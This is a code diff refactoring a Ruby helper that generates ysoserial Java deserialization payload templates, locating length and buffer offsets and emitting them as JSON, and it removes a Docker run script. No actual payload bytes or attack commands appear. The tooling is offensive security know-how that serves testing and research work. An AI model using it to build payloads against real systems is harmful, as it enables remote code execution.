@@ -156,19 +164,19 @@ def generated_ysoserial_payloads # Comparing diffs of various payload lengths to find length and buffer offsets (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| # Compare this binary with the next one - diffs = diff(payload_array[i], payload_array[i+1]) + diffs = diff(payload_array[i], payload_array[i + 1]) break if diffs.nil? # Iterate through each diff, searching for offsets of the length and the payload diffs.length.times do |j| current_byte = diffs[j] - next_byte = diffs[j+1] - prev_byte = diffs[j-1] + next_byte = diffs[j + 1] + prev_byte = diffs[j - 1] - if j > 0 + if j > 0 && (prev_byte.position == current_byte.position) # Skip this if we compared these two bytes on the previous iteration - next if prev_byte.position == current_byte.position + next end # Compare this byte and the following byte to identify length and buffer offsets @@ -179,28 +187,28 @@ def generated_ysoserial_payloads if @debug for length_offset in length_offsets - STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}" + warn " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset - 1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}" end for buffer_offset in buffer_offsets - STDERR.puts " BUFFER OFFSET #{buffer_offset}" + warn " BUFFER OFFSET #{buffer_offset}" end - STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}" + warn " PAYLOAD LENGTH: #{empty_payload.length}" end payload_bytes = Base64.strict_encode64(empty_payload) - if buffer_offsets.length > 0 + if buffer_offsets.empty? + # TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this. results[payload] = { - 'status': 'dynamic', - 'lengthOffset': length_offsets.uniq, - 'bufferOffset': buffer_offsets.uniq, - 'bytes': payload_bytes + status: 'static', + bytes: payload_bytes } else - #TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this. results[payload] = { - 'status': 'static', - 'bytes': payload_bytes + status: 'dynamic', + lengthOffset: length_offsets.uniq, + bufferOffset: buffer_offsets.uniq, + bytes: payload_bytes } end end @@ -208,36 +216,35 @@ def generated_ysoserial_payloads end @payload_list = get_payload_list -if @ysoserial_payloads +unless @ysoserial_payloads.empty? unknown_list = @ysoserial_payloads - @payload_list if unknown_list.empty? @payload_list = @ysoserial_payloads else - STDERR.puts "ERROR: Invalid payloads specified: #{unknown_list.join(', ')}" + warn "ERROR: Invalid payloads specified: #{unknown_list.join(', ')}" abort end end -results = {} if @generate_all YSOSERIAL_ALL_TYPES.each do |type| - STDERR.puts "Generating payload type for #{type}..." - @ysoserial_modified = (type != YSOSERIAL_UNMODIFIED_TYPE) + warn "Generating payload type for #{type}..." @payload_type = type - results[type] = generated_ysoserial_payloads - STDERR.puts + @json_document[type] ||= {} + @json_document[type].merge!(generated_ysoserial_payloads) + $stderr.puts end else - @payload_type ||= YSOSERIAL_UNMODIFIED_TYPE - results[@payload_type] = generated_ysoserial_payloads + @json_document[@payload_type] ||= {} + @json_document[@payload_type].merge!(generated_ysoserial_payloads) end payload_count = {} payload_count['skipped'] = 0 -payload_count['static'] = 0 +payload_count['static'] = 0 payload_count['dynamic'] = 0 -results.each_value do |vs| +@json_document.each_value do |vs| vs.each_value do |v| case v[:status] when 'unsupported' @@ -251,7 +258,7 @@ def generated_ysoserial_payloads end unless @debug - puts JSON.pretty_generate(results) + puts JSON.pretty_generate(@json_document) end -STDERR.puts "DONE! Successfully generated #{payload_count['static']} static payloads and #{payload_count['dynamic']} dynamic payloads. Skipped #{payload_count['skipped']} unsupported payloads." +warn "DONE! Successfully generated #{payload_count['static']} static payloads and #{payload_count['dynamic']} dynamic payloads. Skipped #{payload_count['skipped']} unsupported payloads." diff --git a/tools/payloads/ysoserial/runme.sh b/tools/payloads/ysoserial/runme.sh deleted file mode 100755 index 242fb3f4f7fc..000000000000 --- a/tools/payloads/ysoserial/runme.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/sh - -docker build -t ysoserial-payloads . && \ - docker run -i ysoserial-payloads > ysoserial_payloads.json && \ - mv ysoserial_payloads.json ../../../data